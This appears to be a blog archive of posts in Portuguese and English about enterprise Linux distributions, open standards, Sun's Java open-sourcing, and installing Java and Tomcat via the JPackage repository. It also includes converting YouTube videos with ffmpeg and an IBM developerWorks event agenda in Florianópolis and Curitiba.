Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.
Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.
A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.
A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.
Brazilian Portuguese version available.It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.
All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.
For a user, support really means:
Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.
The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.
It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.
So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.
There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:
In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.
Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.
Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:
There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.
There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.
There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.
Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.
Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.
One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.
Hoje a indústria usa o sistema operacional de desktop de praticamente um único fornecedor, cria aplicações gráficas 100% dependentes dele, e usa uma suite de escritório que também só funciona sobre esse mesmo sistema operacional. Ainda por cima, os documentos de formato proprietário com que o mercado usa só podem ser gerados e consumidos por essa mesma suite.
Se nossos CDs de música tocam em qualquer CD player, por que nossas aplicações, páginas da web, documentos, etc não podem ser usados em qualquer sistema operacional, plataforma de hardware, etc ?
A demora para isso acontecer reflete quão dependente dessas tecnologias proprietárias é o mercado. Isso é caro principalmente porque não há com quem negociar alternativas, e por isso essas tecnologias terão o preço que seu fornecedor quiser.
A IBM ainda está analisando o direcionamento futuro dos nossos desktops internos para funcionários. Não foi decidido entre Linux ou Vista, nem Darwin, nem BSD, nem nenhum outro sistema operacional.
Temos iniciativas internas fortíssimas para que os produtos e serviços de nossa Intranet sigam Padrões Abertos. Dessa forma, um funcionário pode escolher o sistema operacional que melhor se adequar ao seu trabalho.
Não usamos uma tecnologia proprietária de impressão remota, e sim o serviço que usa Padrões Abertos para imprimir na rede.
Não usamos uma aplicação proprietária de VPN, mas o serviço de VPN que usa Padrões Abertos.
Não temos um serviço de diretórios de uma implementação proprietária, e sim um diretório corporativo baseado no Padrão Aberto LDAP.
Não usamos documentos de formatos proprietários, que só podem ser gerados e consumidos por uma única suite de escritório, mas reforçamos o uso do novo Open Document Format, baseado em XML, introduzido pelo OpenOffice.org, que pode ser aberto em qualquer suite de escritório.
E por aí vai….
A última fronteira é a convergência gradativa dos produtos de workgroup baseados em Lotus Notes com o novo Workplace Client Technology, que implementa Padrões Abertos, e que é baseado no Eclipse (como dezenas de outros produtos da IBM).
E digo mais: as tecnologias proprietárias que usamos internamente nos nossos desktops, tivemos que adotá-las porque quando surgiu a necessidade de resolver o problema de negócio que elas resolvem, simplesmente não haviam opções que implementassem Padrões Abertos. Conforme surgem Padrões para aquele determinado problema, isso entra em pauta e a migração é estudada seriamente. Logicamente analizando custos, funcionalidades, viabilidade, etc, porque essa é a forma racional de se fazer mudanças.
Padrões Abertos. Padrões Abertos. Padrões Abertos. Essas são as palavras do momento.
Para o mundo comercial, isso é mais importante do que ter acesso ao código fonte de um software. E é algo que deve estar sempre presente na pauta de TI do CIO.
Pregamos que companhias que inovam reutilizando Padrões Abertos levam vantagem porque seus recursos são liberados para trabalhos que agregam maior valor, e porque as oportunidades do mercado se expandem à medida que os Padrões Abertos proliferam.
É o que dizemos aos nossos clientes. É o que acreditamos. E é o que fazemos.
A Sun abriu o código fonte de sua implementação do Java.
Teria muitas coisas positivas para falar sobre isso, mas o Kov já disse boa parte, e o Simon Phipps também.
Faltava no mundo Open Source uma linguagem/tecnologia de desenvolvimento universal, madura, altamente padronizada com portabilidade em mente, e com ecossistema vigoroso em toda a indústria. Java tem todos estes atributos.
Essa carência, somado ao fato de Java não ser instalado automaticamente quando se instalava qualquer Linux (por questões de lincenciamento), fervilhava o idealismo da comunidade Open Source fazendo os programadores lançarem mão de outras linguagens/tecnologias que ou tem portabilidade questionável (como C, C++, por causa de suas bibliotecas), ou que ainda não se estabeleceram com maturidade, performance e ecossistema industrial (como PHP, Perl, Python, Ruby), ou ambos (como C#, Mono). O resultado na indústria é uma descentralização de skill de desenvolvimento de software de negócio.
Java entrando no cenário Open Source muda tudo isso. Será benéfico para o ecossistema de Computação Aberta, e principalmente para o de Linux como plataforma de negócio.
Minha previsão agora, é que as JVMs da IBM, Bea etc serão também abertas em breve para logo depois se fundir numa JVM/JDK única de alta performance, portável, modular, facilmente instalável, e de bem estabelecido ecossistema.
É a maior notícia do ano para TI. Talvez da década.
English summary available.
Porque Java com Linux ?Nos primórdios das tecnologias, todas elas nasciam proprietárias porque seus criadores queriam explora-las ao máximo, por serem todas novidades.
Depois da popularização do PC, e mais ainda, da Internet, fabricantes começaram a se reunir ao redor de Padrões Abertos para criar uma rede de valor onde todos — fabricantes e usuários — acabam ganhando.
Existem hoje inúmeros Padrões Abertos, mas os que se destacam são os seguintes:
Essas quatro tecnologias juntas provém tudo que um desenvolvedor precisa para criar suas aplicações de negócio.
Java comparado a C/C++, PHP, Perl e PythonCabe ao desenvolvedor escolher a linguagem/tecnologia certa para a aplicação certa. Não só os aspectos tecnológicos devem ser levados em conta, mas também aceitação no mercado, aderência a padrões, reputação, política de atualização da tecnológica, prontidão para uma aplicação de negócios, etc.
Em contrapartida, a tecnologia Java tem as seguintes características:
Instalando Java Em LinuxHá muitas formas de instalar a JVM em Linux, mas há somente uma forma correta: usando RPM através do repositório JPackage.
Sobre Repositórios de RPMsA instalação de um pacote RPM pode falhar se outro pacote precisa ser instalado antes. Isso é conhecido como o inferno das dependências.
Para resolver este problema a comunidade criou ferramentas de instalação de pacotes como o Yum e o APT, que, junto com os metadados oferecidos por um repositório de RPMs, liquidam este problema calculando tudo que é necessário fazer para instalar certo pacote, atualizando automaticamente pacotes já instalados, ou instalando novos, tudo para satisfazer as dependências do pacote que o usuário deseja instalar.
Um repositório é um site na web que contem vários RPMs e metadados de interdependências sobre esses pacotes, que são usados por ferramentas como yum e apt-get.
O projeto JPackage e seu Repositório de RPMs
O JPackage é um repositório de RPMs de alta qualidade de softwares relacionados a Java. É uma comunidade de pessoas que empacotam em RPM as JVMs mais conhecidas do mercado, bem como softwares Java populares como Tomcat, Eclipse, Jakarta, etc.
A primeira pergunta que surge depois que dizemos isso é: “Mas as JVMs da Sun, IBM, etc já não são disponibilizadas em RPM ?�? Sim, mas cada fornecedor empacota como bem entende, sem seguir nenhum padrão de diretórios ou do sistema operacional. E essa despadronização faz a tecnologia como um todo ser mais difícil de usar.
O Projeto JPackage resolveu isso definindo uma organização de diretórios que permite multiplas JVMs, e lugares padronizados para arquivos JAR, WAR, EAR, etc. O JPackage inovou simplesmente aplicando os conceitos do Filesystem Hierarchy Standard — um padrão aberto dos mais importantes para Linux — aos softwares Java.
O resultado é tão bom, que a Red Hat, SUSE, Mandriva e outros adotaram o padrão JPackage de empacotamento e diretórios para tudo que se refere a Java em suas distribuições (RHEL, Fedora, SLES, SLED, OpenSUSE, NLD, Mandriva, etc).
Problemas do JPackageO JPackage tem uma diretriz de fornecer em seu repositório somente RPMs de softwares livres. Por isso, softwares que não tem licenças livres estão lá somente como RPMs-fonte, que não são tão simples de se instalar, mas mesmo assim promovem a organização e a qualidade do JPackage. Entre esses softwares estão a própria JVM, que vamos demonstrar sua instalação agora.
Inicializando o JPackage em seu sistemaAntes de instalar qualquer RPM oferecido pelo JPackage, você precisa configurar as ferramentas que acessam e instalam os pacotes automaticamente no seu sistema.
Nos nossos exemplos, vamos usar o Fedora Linux com YUM. Pode-se optar pelo apt-get ao invés do YUM, ou de outra distribuição Linux ao invés do Fedora. No caso do Red Hat Enterprise Linux ou CentOS, o processo é idêntico.
Tenha o YUM ou apt-get no seu sistemaNo caso do Fedora 4, RHEL 4 ou CentOS 4, já temos o YUM instalado no sistema, e só teremos que configura-lo.
No caso de outro Linux, você pode testar se estas ferramentas estão instaladas simplesmente executando o comando yum ou apt-get.
Se você finalmente concluiu que não as tem, encontre-as aqui:
Nos nossos exemplos, vamos usar o Yum.
Configure o YUM para usar o repositório JPackageBasta instalar um arquivo de configuração no diretório /etc/yum.repos.d/ desta maneira:
bash# cd /etc/yum.repos.d/ bash# wget http://www.jpackage.org/jpackage.repo
Edite o arquivo jpacakge.repo que você acabou de baixar habilitando e desabilitando os canais de RPMs específicos para seu sistema. Por exemplo, no nosso Fedora Core, garantimos que os canais jpackage-generic e jpackage-fc contém a linha “enabled=1�?.
Instale o primeiro pacoteO pacote jpackage-utils deve estar instalado para começar usar o repositório. Nas últimas versões das distribuições populares, ele já está instalado. Nesse caso é boa idéia atualiza-lo.
Para fazer isso:
bash# yum install jpackage-utils # No caso de não estar instalado ainda. bash# yum update jpackage-utils # Para atualiza-lo.
Instalando a Máquina Virtual Java (JVM)Esta é uma das partes mais difíceis porque por questões de licensa o Projeto JPackage não tem permissão para prover o RPM pronto para ser instalado de softwares que tem licensa restrita. É o caso de todas as JVMs comerciais. O JPackage provê o pacote fonte que a partir dele pode-se construir fácil, porém manualmente, o RPM instalável. E vamos demonstrar isso aqui.
JVM da IBMSeguimos estes passos:
bash# rpm -qpi java*nosrc.rpm Name : java-1.5.0-ibm Relocations: (not relocatable) Version : 1.5.0.2.3 Vendor: JPackage Project Release : 3jpp Build Date: Tue 15 Aug 2006 Install Date: (not installed) Build Host: tortoise.toronto.redhat.com Group : Development/Interpreters Source RPM: (none) Size : 395165271 License: IBM Binary Code License Signature : (none) Packager : Thomas Fitzsimmons URL : http://ibm.com/developerworks/java/jdk/linux/download.html Summary : IBM Java Runtime Environment Description : This package contains the IBM Java Runtime Environment.
e descobrimos que devemos procurar na URL marcada.
bash# cd /diretorio/onde/baixei/SDK bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES
No SUSE, copie para /usr/src/rpm/SOURCES.
bash# cd /diretorio/onde/baixei/nosrc.rpm bash# rpmbuild –rebuild java*nosrc.rpm
e vimos uma série de coisas acontecendo: é a construção do pacote.
bash# cd /usr/src/redhat/RPMS/i386 bash# rpm -Uvh java*ibm*rpm
e a JVM da IBM está instalada.
O padrão JPackage definiu que a JVM deve ser a soma de uma série de sub-pacotes, todos com nome padronizado, e os que geramos neste exemplo são:
| java-1.5.0-ibm-1.5.0.2.3-3jpp.i386.rpm | A JRE mínima. É o pacote básico que você deve instalar. |
| java-1.5.0-ibm-alsa-1.5.0.2.3-3jpp.i386.rpm | Suporte a arquitetura de audio ALSA do Linux. |
| java-1.5.0-ibm-plugin-1.5.0.2.3-3jpp.i386.rpm | Java Plugin para os browsers Mozilla e Firefox. Não obrigatório. |
| java-1.5.0-ibm-devel-1.5.0.2.3-3jpp.i386.rpm | O compilador Java e a SDK. Instale-o se você vai programar em Java. |
| java-1.5.0-ibm-src-1.5.0.2.3-3jpp.i386.rpm | Fontes de programas em Java, para estudo e teste. |
| java-1.5.0-ibm-jdbc-1.5.0.2.3-3jpp.i386.rpm | Driver JDBC genérico para o unixODBC genérico. Não é necessário se você vai usar o driver JDBC de seu banco de dados. |
| java-1.5.0-ibm-demo-1.5.0.2.3-3jpp.i386.rpm | Alguns programas demo. Não é obrigatório. |
| java-1.5.0-ibm-javacomm-1.5.0.2.3-3jpp.i386.rpm | Java Communications API para Linux. |
No JPackage há modelos de empacotamento (src.rpm) das JVMs da IBM, Sun, BEA e Blackdown. Para instalar qualquer uma delas, você terá que construir o RPM como demonstramos aqui.
A diferença entre elas está no nome do RPM (“ibm�?, “sun�?, “blackdown�?), e você pode ter instalado em seu sistema JVMs de vários fornecedores simultaneamente. Os RPMs de todos os fornecedores, segundo o padrão JPackage, obedecem esta mesma convenção de nomes de sub-pacotes.
Instale Outros Softwares Java que Não Tem FonteSerá necessário instalar outros RPMs sem fonte para usar corretamente outros pacotes populares do JPackage. Tentanto instalar o tomcat, verificamos que ele necessita do JTA, que é uma API de transações.
Então repetimos os conceitos do passo anterior:
bash# cd /diretorio/onde/baixei/JTA bash# cp jta*-classes.zip jta*-doc.zip /usr/src/redhat/SOURCES
bash# cd /diretorio/onde/baixei/nosrc.rpm bash# rpmbuild –rebuild jta*nosrc.rpm bash# cd /usr/src/redhat/RPMS/noarch bash# rpm -Uvh jta*rpm
E a JTA está instalada.
Instalando outros Softwares Java pelo JPackageNeste ponto, você já tem o repositório JPackage configurado no seu sistema, e a JVM de sua escolha instalada conforme ditam os padrões FHS de diretórios do Linux.
Agora é muito fácil instalar qualquer outra aplicação, biblioteca ou JAR disponível no JPackage, representado pelo nome do pacote na lista a esquerda em http://www.jpackage.org.
Para instalar ou atualizar um pacote, bastam os seguintes comandos respectivamente:
bash# yum install [nome do pacote] # Para instalar. bash# yum update [nome do pacote] # Para atualizar.
O YUM, usando os metadados do repositório, vai resolver todas as dependências, baixar tudo que for necessário, e instalar os pacotes.
Exemplo: Instalando o Apache TomcatO Apache Tomcat é um servlet container, que se integra ao webserver e permite a criação e execução de aplicações web feitas em Java (servlets).
Para instalar o Tomcat, segundo nosso exemplo anterior, basta:
bash# yum install tomcat5
Após resolver todas as dependências, o YUM determinou que para instalar o Tomcat, seria necessário instalar também vários módulos do Jakarta, Axis, módulos de XML, etc. E tudo foi automaticamente baixado e instalado num mesmo passo.
Instalando o EclipseO Eclipse foi a princípio uma poderosa ferramenta de desenvolvimento de aplicações, ou IDE.
Desde a versão 3, ele foi reestruturado para ser um “servidor de aplicações�? de desktop. Ou seja, se tornou o que chamamos de Rich Client Platform — ou RCP — que é uma base genérica que provê a infraestrutura padronizada que qualquer aplicação de desktop precisa. O IDE então passou a ser uma aplicação, um plugin, do RCP. O IDE Java está no JPackage com o nome de eclipse-jdt, e para instala-lo, basta:
bash# yum install eclipse-jdt
Como sempre, todos os outros módulos necessário para estes componentes serão automaticamente selecionados e instalados.
O ícone do Eclipse deve aparecer no menu inicial, pronto para ser usado.
A Oracle anunciou a distribuição Unbreakable Linux na semana passada. Ela será tecnicamente idêntica ao Red Hat Enterprise Linux (RHEL), com excessão da logotipagem e trademarks da Red Hat, incluindo — conforme anunciado — um suporte de preço inferior ao da Red Hat.
O mercado ainda não entendeu o que este passo significa, e muitos interpretaram (e celebraram) como um suporte mais amplo ao RHEL por parte da Oracle. Na verdade a Red Hat se pronunciou em seu Unfakeable Linux.
Por que copiar o Red Hat Enterprise Linux? Porque é uma distribuição muito popular e porque desde sempre foi desenhada para ser genérica, ou seja, é muito fácil tirar a logotipagem da Red Hat e colocar o seu próprio nome. O resultado é uma distribuição idêntica (bit a bit) ao Red Hat Enterprise Linux (com exceção dos logotipos), e que se comporta exatamente da mesma forma que o RHEL se comportaria ao interagir com diversos hardwares e softwares: a compatibilidade do hardware e software catalog da Red Hat é tecnicamente herdada, mas não leva o carimbo formal de certificação da Red Hat.
Essa idéia não é nova e outras iniciativas já faziam isso antes: WhiteBox, CentOS, Scientific Linux. Isso é possível graças a tecnologia Open Source chamada RPM que “documenta” numa linguagem de máquina todo o processo de compilação, integração e instalação dos softwares, a ponto de ser facilmente reproduzivel em qualquer ambiente. Já havia explicado este processo antes a partir deste slide, nesta apresentação.
Como o software é idêntico, os bugs também são herdados, e é ai que começa o problema. As iniciativas sem suporte (CentOS etc) declaravam em alto e bom som que não fornecem suporte, e por isso não tem nenhum vínculo de responsabilidade com seus usuários. Elas podem se dar ao luxo de esperar a Red Hat lançar uma atualização para só depois se atualizarem.
No caso de um contrato de suporte comercial da Oracle, ela terá um cliente impaciente do outro lado da linha que quer ter seu problema técnico resolvido. O luxo da espera não existe mais, e a Oracle terá que resolver os bugs por si só.
Na pior das hipóteses, ao longo do tempo é possível que o Unbreakable comece a divergir tecnicamente do RHEL, mesmo tendo a Oracle um desejo latente de sempre se sincronizar com o RHEL — conforme anunciado. E teremos uma terceira distribuição Enterprise forte. Foi assim que nasceram algumas distribuições, como Conectiva e Mandrake, que no começo eram basicamente uma cópia traduzida do Red Hat (não enterprise) Linux. Mas hoje o ecossistema de Linux é bem diferente do da época em que essas distribuições surgiram.
Arrisco também um palpite favorecendo uma hipótese bem melhor, onde o Unbreakable e o RHEL continuarão idênticos e sincronizados, cooperando entre sí como verdadeiros projetos Open Source. E ao longo do tempo o RHEL realizará a façanha inédita de consolidar um sabor universal de Linux corporativo. Coisa que o Linux Standard Base está longe de conseguir.
Só o tempo dirá, e é essa constante incerteza a maior inimiga de uma adoção em massa de Linux no mundo corporativo.
Cabe aqui uma salva de palmas para a Oracle que teve a coragem de inovar comercialmente sobre algo que já era tecnicamente e legalmente possível.
Assim que rebootar no Windows, vou testar este módulo de microkernel para acessar nativamente partições EXT2 (e EXT3).
Ele diz suportar tudo, menos:
Todas as outras tentativas que fiz no passado, faziam o Windows travar miseravelmente. Vamos ver o que isso faz.
Acabei de votar no censo de Linux do br-linux.org
Meus votos:
Nunca usei o Ubuntu, mas todo mundo diz que ele é facinho facinho de usar.
Legal. Fico feliz por ele.
Mas encontrei com um cara recentemente, bem famoso na comunidade Linux, que tem uma visão bem madura das coisas e bem antenado na história do Debian e Ubuntu. Contou que a empresa Ubuntu é do fundador da Thawte — que foi vendida a preço de ouro para a Verisign. Ai ele pegou esse monte de dinheiro e foi se divertir montando a Canonical (empresa que desenvolve o Ubuntu).
Ele apontou enormes pontos de interrogação na estratégia do Ubuntu. Tipo, como eles mandam CDs de graça pra todo mundo ao redor do mundo? Como eles dão suporte de graça bastando ligar para eles? Afinal, como eles ganham dinheiro? Etc.
Resumo da ópera, o modelo de negócio do Ubuntu como empresa é muito duvidoso, se é que tem lá um modelo de negócios.
Então para se divertir, em casa, etc, usar o Ubuntu é legal, e eu incentivo muito. Mas para usa-lo numa empresa, de uma forma responsável, de jeito nenhum por enquanto.
Eu ainda sou da linha que técnicos devem usar em casa, para aprender, uma das 2 grandes distribuições: Red Hat ou SUSE. Não quer comprar a subscrição? Não precisa. Use gratuitamente o Fedora ou CentOS para usar o sabor Red Hat, ou OpenSUSE para saborear SUSE.
Parece que a certificação LPI-3 está em vias de sair, e o Brasil vai ser agraciado como o piloto, com o Maddog aplicando as primeiras provas.
Minha sensação é que a LPI tomou um rumo meio diferente do previsto. Antes de sua confecção, a LPI-3 foi idealizada como uma certificação para arquitetos, que testaria também a capacidade de argumentar a favor de uma solução Linux, mais generalista que as anteriores — que são mais preocupadas em inquerir nossa memória sobre parâmetros obscuros de comandos obscuros, ao invés de testar a capacidade do administrador em achar saidas para situações difíceis, consultando manuais ou bons sites na Internet —, mas agora focou mais ainda para administradores de Samba e LDAP, o que é bem restrito.
Eu sou certificado LPI-2 e me considero um bom administrador Linux, mas minha carreira nunca se voltou para Samba, o que faz minhas palavras parecerem meio tendenciosas, porque se eu tentar a LPI-3 provavelmente não passo.
Na minha modesta opinião, ou a evolução da LPI tinha que começar a criar, nesse sentido de especialização, áreas de competência (uma para Samba, outra para clusters, outra para gerência de thin clients ou muitos desktops, outra para… enfim), ou manter aquela linha generalista que eu achava mais interessante.
Boa sorte aos certificantes !
Eu só posso concordar com o que o Thiago Vinhas escreveu em seu artigo.
Não estou muito próximo do projeto Debian, mas meu feeling sobre ele é que ele está se auto-canibalizando. Antropofagia pura.
Se o único objetivo dos membros do projeto é se divertir criando um sistema operacional, seu produto só acabará sendo usado para diversão, em casa ou em laboratórios. Não inspira confiabilidade e “flor-que-se-cheire” a longo prazo. Sem isso, empresas (com dinheiro no bolso) nem chegam perto dele.
Escondendo marcas já consagradas como o Firefox e Thunderbird só para exagerar essa liberdade que as pessoas não entendem – mas que elas já tem – ajuda a destruir uma marca e mindshare coeso que Linux como um todo pode criar. Ai eles é quem perderão a liberdade de trabalhar com o que gostam: Linux.
O foco do projeto Debian parece ser única e exclusivamente a religião.
E eu acredito que o melhor balanço está no equilíbrio entre religião e razão – coisa que distribuições que se propuseram a trabalhar com as pressões do mercado, como Red Hat e Novell, fazem muito melhor.
E lembrem-se: leis mercadológicas só dão espaço para duas opções. Um é pouco, três é demais.
Longa vida a quem sabe balancear as coisas.
In the end of this proccess you’ll have an .mpg file on your local disk, generated from an Internet-only YouTube URL.
First make sure you have ffmpeg (video encoding and decoding tools) and lame (MP3 audio encoding and decoding tools) softwares and dependencies installed on your system. You will also require the youtube-dl scripts that downloads the actual YouTube video.
In a Red Hat or Fedora system you can install it from Dag or Livna RPM repositories, with a simple yum command:
bash# yum install ffmpeg lame youtube-dl
Then you get to the YouTube video page you want to download. In this example we’ll use the Heist video, the first Linux ad from IBM, that has http://www.youtube.com/watch?v=DO9ZWDaLLxA as its URL.
I’ll use youtube-dl this way:
bash$ youtube-dl -t http://www.youtube.com/watch?v=DO9ZWDaLLxA
And I saw it connecting to YouTube several times and downloading the video. In the end, I found a big file named the_heist-RRZyz1vXkPE.flv in the current firectory, which is the video file.
Now lets convert it into MPEG with ffmpeg:
bash$ ffmpeg -i the_heist-RRZyz1vXkPE.flv -acodec copy -sameq heist.mpg
-acodec copy will cause ffmpeg to copy the audio from input to output file, while -sameq causes the output video quality to be the same as the source, but output file will be very big. For YouTube videos, you can use -b 320000 instead of -sameq to get smaller file sizes.
I saw ffmpeg taking some time to convert, and in the end I got the heist.mpg file which I was able to confortablly play in any MPEG aware video player, as mplayer.
If you want to convert the video file into MP4, which is the format supported by iPod Video players, you just change the extension:
bash$ ffmpeg -i the_heist-RRZyz1vXkPE.flv -acodec copy -b 320000 heist.mp4
Ffmpeg will take care to use the maximum screen size available from the source (the .flv file) so the converted file will be as hi-fi as YouTube let be (not too high really).
Enjoy your video.
Desta vez estaremos levando o já consagrado evento IBM developerWorks Live ! para Florianópolis e Curitiba.
É a chance de técnicos aprenderem com técnicos dos laboratórios IBM, Red Hat e 4Linux, casos reais e usos avançados de tecnologias como Linux, Eclipse, Samba, Xen, Clusters de Alta Disponibilidade, e outras ferramentas Open Source e Rational para desenvolvimento e gerência de projetos.
Confira a agenda, datas e locais abaixo, e venha ver nossas apresentações !
Florianópolis, Santa Catarina, 16 e 17 de outubro
O evento IBM acontecerá dentro do Simpósio Brasileiro de Engenharia de Software e de Banco de Dados, no Hotel Majestic na Av. Beira Mar Norte. Como estaremos atrelados ao SBES/SBBD, será um evento pago. Mais informações aqui, e agenda IBM aqui.
Agenda do dia 16 de outubro – Linux
|
09h00 |
Possibilidades de Linux com Desktops e Servidores (Avi Alkalay – IBM) |
|
09h45 |
Virtualização em Linux com Xen (Rodrigo Missiagia – Red Hat) |
|
10h30 |
Break |
|
11h00 |
OpenLDAP, PAM e Gerência de identidade com Linux (Francisco Saito – 4Linux) |
|
12h00 |
Pausa para Almoço |
|
11h45 |
Linux na IBM (Avi Alkalay – IBM) |
|
12h30 |
Pausa para Almoço |
|
14h30 |
Alta Disponibilidade com Linux (Rodrigo Missiagia – Red Hat) |
|
15h15 |
Migrando a Infraestrutura para Samba com Linux: estudo de caso da CEAGESP (Francisco Saito – 4Linux) |
|
16h00 |
Break |
Agenda do dia 17 de outubro – Padrões Abertos e Ferramentas de Desenvolvimento Open Source
|
09h00 |
Introdução – Padrões Abertos, Open Source, Apache Derby/IBM Clouscape (Eric Long and Jeff – IBM) |
|
10h30 |
Break |
|
11h00 |
Apache Geronimo/IBM WebSphere Application Server Community Edition, Desenvolvendo Aplicações com Ferramentas Open Source, Além do Open Source/Standards – Próximos Passos (Eric Long and Jeff – IBM) |
|
12h30 |
Pausa para Almoço |
|
14h30 |
Overview – Desafios em Distribuição de Softwares, Process and Portfolio Management – Rational Portfolio Manager and Method Composer (Cheryl and Kevin – IBM) |
|
16h00 |
Break |
|
16h30 |
Análise e Requerimentos – Rational Req Pro, Qualidade de Software – Rational ClearQuest e Testes Funcionais, Gerência de Mudança e Configuração – Rational ClearCase, Rational ClearQuest, Rational Build Forge, Call to action/Resources (Cheryl and Kevin – IBM) |
Curitiba, Paraná, 19 e 20 de outubro
O evento acontecerá na PUC-Paraná, Rua Imaculada Conceicao, 115 – Prado Velho, Auditorio Maria Montessori. Evento gratuito. Inscrição aqui ou pelo telefone 0800-707-4837 opção 1, ou ainda mandando um e-mail para pwisv@br.ibm.com.
Agenda do dia 19 de outubro – Padrões Abertos e Ferramentas de Desenvolvimento Open Source
| 08h30 | Registro |
|
09h00 |
Introdução – Padrões Abertos, Open Source, Apache Derby/IBM Clouscape (Eric Long and Jeff – IBM) |
|
10h45 |
Break |
|
11h00 |
Apache Geronimo/IBM WebSphere Application Server Community Edition, Desenvolvendo Aplicações com Ferramentas Open Source, Além do Open Source/Standards – Próximos Passos (Eric Long and Jeff – IBM) |
|
13h00 |
Pausa para Almoço |
|
14h00 |
Overview – Desafios em Distribuição de Softwares, Process and Portfolio Management – Rational Portfolio Manager and Method Composer (Cheryl and Kevin – IBM) |
|
15h45 |
Break |
|
16h00 |
Análise e Requerimentos – Rational Req Pro, Qualidade de Software – Rational ClearQuest e Testes Funcionais, Gerência de Mudança e Configuração – Rational ClearCase, Rational ClearQuest, Rational Build Forge, Call to action/Resources (Cheryl and Kevin – IBM) |
Agenda do dia 20 de outubro – Linux
| 08h30 | Registro |
|
09h00 |
Possibilidades de Linux com Desktops e Servidores (Avi Alkalay – IBM) |
|
10h00 |
Break |
|
10h30 |
Virtualização em Linux com Xen (Rodrigo Missiagia – Red Hat) |
|
11h15 |
OpenLDAP, PAM e Gerência de identidade com Linux (Francisco Saito – 4Linux) |
|
12h00 |
Pausa para Almoço |
|
13h30 |
Linux na IBM (Avi Alkalay – IBM) |
|
14h15 |
Alta Disponibilidade com Linux (Rodrigo Missiagia – Red Hat) |
|
15h00 |
Break |
|
15h30 |
Migrando a Infraestrutura para Samba com Linux: estudo de caso da CEAGESP (Francisco Saito – 4Linux) |
Esperamos você lá !
Qualquer dúvida, por favor escreva um comentário neste blog, ou mande-me um e-mail.
Read here before it goes broad in Slashdot.
Gerald (Jerry) Carter, Samba’s core developer and architect, initiated a Google SoC project to elektrify Samba. The project was successfully completed by Mingwang with Jerry’s mentorship. “Longer term, we (Samba) have to come to an agreement about (…) How (and to what degree) do we support legacy systems that want to continue to the the smb.conf text file. This is a pretty big shift for us. And although everyone agrees that we must have programmatic access to out configuration data from within Samba, we have to chart the course to get from where we are today to where we want to be 6 months down the road.” – said Jerry on the Elektra list while also showed a kdbedit screenshot of an elektrified Samba.
Parabéns Linux, pelos seus 15 anos — hoje — de hackerismo, mudanças radicais no mercado de TI, e por ser fonte de inspiração às grandes mudanças na cultura humana.
The title of that article is Why we won’t be talking about Open Source in the future, by an analyst called Clay Ryder, and I think is provides an insightfull and pragmatic perspective of how Open Source should be looked at by the business world. It perfectly feets what I use to say and present in events.
Here are some quotes:
